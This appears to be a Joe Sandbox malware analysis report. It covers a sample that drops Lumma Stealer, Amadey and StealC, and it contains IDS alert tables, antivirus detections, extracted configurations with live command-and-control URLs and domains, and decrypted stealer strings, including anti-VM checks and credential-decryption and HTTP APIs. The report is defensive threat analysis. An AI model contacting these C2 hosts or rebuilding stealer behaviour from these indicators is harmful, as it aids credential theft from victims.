2024-11-01T05:03:06.392085+0100	2028371	3	Unknown Traffic	192.168.2.5	59923	188.114.96.3	443	TCP
2024-11-01T05:03:08.444020+0100	2028371	3	Unknown Traffic	192.168.2.5	59925	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:02.571525+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:01:04.111799+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:01:16.898027+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:02:18.808798+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:20.264224+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:30.899816+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59855	188.114.96.3	443	TCP
2024-11-01T05:02:32.542968+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:02:33.955380+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59858	188.114.96.3	443	TCP
2024-11-01T05:02:53.267785+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59887	188.114.96.3	443	TCP
2024-11-01T05:03:06.931994+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59923	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:02.571525+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:02:18.808798+0100	2049836	1	A Network Trojan was detected	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:32.542968+0100	2049836	1	A Network Trojan was detected	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:03:06.931994+0100	2049836	1	A Network Trojan was detected	192.168.2.5	59923	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:04.111799+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:02:20.264224+0100	2049812	1	A Network Trojan was detected	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:33.955380+0100	2049812	1	A Network Trojan was detected	192.168.2.5	59858	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:02.025424+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:01:03.232985+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:01:05.333249+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:01:06.586460+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:01:08.399353+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:01:11.282674+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:01:13.064453+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:01:16.046173+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:02:18.255497+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:19.555064+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:21.140608+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59847	188.114.96.3	443	TCP
2024-11-01T05:02:22.614101+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59848	188.114.96.3	443	TCP
2024-11-01T05:02:23.979268+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59849	188.114.96.3	443	TCP
2024-11-01T05:02:26.433927+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59850	188.114.96.3	443	TCP
2024-11-01T05:02:28.067719+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59853	188.114.96.3	443	TCP
2024-11-01T05:02:30.342203+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59855	188.114.96.3	443	TCP
2024-11-01T05:02:31.756637+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:02:33.241704+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59858	188.114.96.3	443	TCP
2024-11-01T05:02:34.891670+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59860	188.114.96.3	443	TCP
2024-11-01T05:02:36.951522+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59864	188.114.96.3	443	TCP
2024-11-01T05:02:39.939150+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59869	188.114.96.3	443	TCP
2024-11-01T05:02:47.120032+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59883	188.114.96.3	443	TCP
2024-11-01T05:02:49.177739+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59885	188.114.96.3	443	TCP
2024-11-01T05:02:52.723819+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59887	188.114.96.3	443	TCP
2024-11-01T05:03:06.392085+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59923	188.114.96.3	443	TCP
2024-11-01T05:03:08.444020+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59925	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:17.208855+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49713	185.215.113.16	80	TCP
2024-11-01T05:02:31.814251+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	59856	185.215.113.16	80	TCP
2024-11-01T05:02:36.101168+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	59861	185.215.113.16	80	TCP
2024-11-01T05:02:54.197598+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	59888	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:02:18.098259+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59843	185.215.113.43	80	TCP
2024-11-01T05:02:27.633332+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59852	185.215.113.43	80	TCP
2024-11-01T05:02:35.172323+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59859	185.215.113.43	80	TCP
2024-11-01T05:02:43.913018+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59872	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:01.309434+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	52905	1.1.1.1	53	UDP
2024-11-01T05:02:17.598732+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	55109	1.1.1.1	53	UDP
2024-11-01T05:02:31.070401+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	52704	1.1.1.1	53	UDP
2024-11-01T05:03:05.710482+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	55031	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:01.327599+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	63340	1.1.1.1	53	UDP
2024-11-01T05:02:17.610716+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	65524	1.1.1.1	53	UDP
2024-11-01T05:02:31.083258+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	53751	1.1.1.1	53	UDP
2024-11-01T05:03:05.721916+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	61851	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:01.363692+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	51342	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:01.238351+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	64200	1.1.1.1	53	UDP
2024-11-01T05:02:17.585413+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	62089	1.1.1.1	53	UDP
2024-11-01T05:02:31.017606+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	56828	1.1.1.1	53	UDP
2024-11-01T05:03:05.694321+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	62377	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:01.342557+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	52821	1.1.1.1	53	UDP
2024-11-01T05:02:17.620601+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	52129	1.1.1.1	53	UDP
2024-11-01T05:02:31.095103+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	54636	1.1.1.1	53	UDP
2024-11-01T05:03:05.734231+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	58723	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:11.965257+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:02:21.870389+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	59847	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:02:27.557378+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59851	185.215.113.206	80	TCP
2024-11-01T05:02:47.310604+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59882	185.215.113.206	80	TCP
2024-11-01T05:02:56.266166+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59890	185.215.113.206	80	TCP
2024-11-01T05:03:00.234650+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59897	185.215.113.206	80	TCP
2024-11-01T05:03:16.169865+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59926	185.215.113.206	80	TCP
2024-11-01T05:03:36.153325+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59927	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:02:05.467592+0100	2856147	1	A Network Trojan was detected	192.168.2.5	59806	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:02:17.199105+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	59821	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:02:08.837392+0100	2803305	3	Unknown Traffic	192.168.2.5	59827	185.215.113.16	80	TCP
2024-11-01T05:02:19.013858+0100	2803305	3	Unknown Traffic	192.168.2.5	59845	185.215.113.16	80	TCP
2024-11-01T05:02:28.573533+0100	2803305	3	Unknown Traffic	192.168.2.5	59854	185.215.113.16	80	TCP
2024-11-01T05:02:36.101168+0100	2803305	3	Unknown Traffic	192.168.2.5	59861	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000001F.00000002.3148902384.0000000000201000.00000040.00000001.01000000.0000001A.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 28.2.num.exe.590000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.5440.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["thumbystriw.store", "necklacedmny.store", "founpiuer.store", "scriptyprefej.store", "fadehairucw.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 51%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 28.2.num.exe.590000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 30
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 11
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 20
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 24
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetProcAddress
Source: 28.2.num.exe.590000.0.unpack	String decryptor: LoadLibraryA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: lstrcatA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: OpenEventA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CreateEventA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CloseHandle
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Sleep
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 28.2.num.exe.590000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 28.2.num.exe.590000.0.unpack	String decryptor: VirtualFree
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetSystemInfo
Source: 28.2.num.exe.590000.0.unpack	String decryptor: VirtualAlloc
Source: 28.2.num.exe.590000.0.unpack	String decryptor: HeapAlloc
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetComputerNameA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: lstrcpyA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetProcessHeap
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetCurrentProcess
Source: 28.2.num.exe.590000.0.unpack	String decryptor: lstrlenA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ExitProcess
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetSystemTime
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 28.2.num.exe.590000.0.unpack	String decryptor: advapi32.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: gdi32.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: user32.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: crypt32.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ntdll.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetUserNameA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CreateDCA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetDeviceCaps
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ReleaseDC
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sscanf
Source: 28.2.num.exe.590000.0.unpack	String decryptor: VMwareVMware
Source: 28.2.num.exe.590000.0.unpack	String decryptor: HAL9TH
Source: 28.2.num.exe.590000.0.unpack	String decryptor: JohnDoe
Source: 28.2.num.exe.590000.0.unpack	String decryptor: DISPLAY
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 28.2.num.exe.590000.0.unpack	String decryptor: http://185.215.113.206
Source: 28.2.num.exe.590000.0.unpack	String decryptor: bksvnsj
Source: 28.2.num.exe.590000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 28.2.num.exe.590000.0.unpack	String decryptor: /746f34465cf17784/
Source: 28.2.num.exe.590000.0.unpack	String decryptor: tale
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetFileAttributesA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GlobalLock
Source: 28.2.num.exe.590000.0.unpack	String decryptor: HeapFree
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetFileSize
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GlobalSize
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 28.2.num.exe.590000.0.unpack	String decryptor: IsWow64Process
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Process32Next
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetLocalTime
Source: 28.2.num.exe.590000.0.unpack	String decryptor: FreeLibrary
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetVolumeInformationA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Process32First
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetLocaleInfoA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetModuleFileNameA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: DeleteFileA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: FindNextFileA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: LocalFree
Source: 28.2.num.exe.590000.0.unpack	String decryptor: FindClose
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: LocalAlloc
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetFileSizeEx
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ReadFile
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SetFilePointer
Source: 28.2.num.exe.590000.0.unpack	String decryptor: WriteFile
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CreateFileA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: FindFirstFileA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CopyFileA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: VirtualProtect
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetLastError
Source: 28.2.num.exe.590000.0.unpack	String decryptor: lstrcpynA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: MultiByteToWideChar
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GlobalFree
Source: 28.2.num.exe.590000.0.unpack	String decryptor: WideCharToMultiByte
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GlobalAlloc
Source: 28.2.num.exe.590000.0.unpack	String decryptor: OpenProcess
Source: 28.2.num.exe.590000.0.unpack	String decryptor: TerminateProcess
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetCurrentProcessId
Source: 28.2.num.exe.590000.0.unpack	String decryptor: gdiplus.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ole32.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: bcrypt.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: wininet.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: shlwapi.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: shell32.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: psapi.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: rstrtmgr.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SelectObject
Source: 28.2.num.exe.590000.0.unpack	String decryptor: BitBlt
Source: 28.2.num.exe.590000.0.unpack	String decryptor: DeleteObject
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CreateCompatibleDC
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdiplusStartup
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdiplusShutdown
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdipDisposeImage
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GdipFree
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CoUninitialize
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CoInitialize
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CoCreateInstance
Source: 28.2.num.exe.590000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 28.2.num.exe.590000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 28.2.num.exe.590000.0.unpack	String decryptor: BCryptDecrypt
Source: 28.2.num.exe.590000.0.unpack	String decryptor: BCryptSetProperty
Source: 28.2.num.exe.590000.0.unpack	String decryptor: BCryptDestroyKey
Source: 28.2.num.exe.590000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetWindowRect
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetDesktopWindow
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetDC
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CloseWindow
Source: 28.2.num.exe.590000.0.unpack	String decryptor: wsprintfA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CharToOemW
Source: 28.2.num.exe.590000.0.unpack	String decryptor: wsprintfW
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RegQueryValueExA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RegEnumKeyExA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RegOpenKeyExA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RegCloseKey
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RegEnumValueA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CryptUnprotectData
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SHGetFolderPathA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ShellExecuteExA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: InternetOpenUrlA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: InternetConnectA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: InternetCloseHandle
Source: 28.2.num.exe.590000.0.unpack	String decryptor: InternetOpenA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: HttpSendRequestA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: HttpOpenRequestA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: InternetReadFile
Source: 28.2.num.exe.590000.0.unpack	String decryptor: InternetCrackUrlA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: StrCmpCA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: StrStrA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: StrCmpCW
Source: 28.2.num.exe.590000.0.unpack	String decryptor: PathMatchSpecA
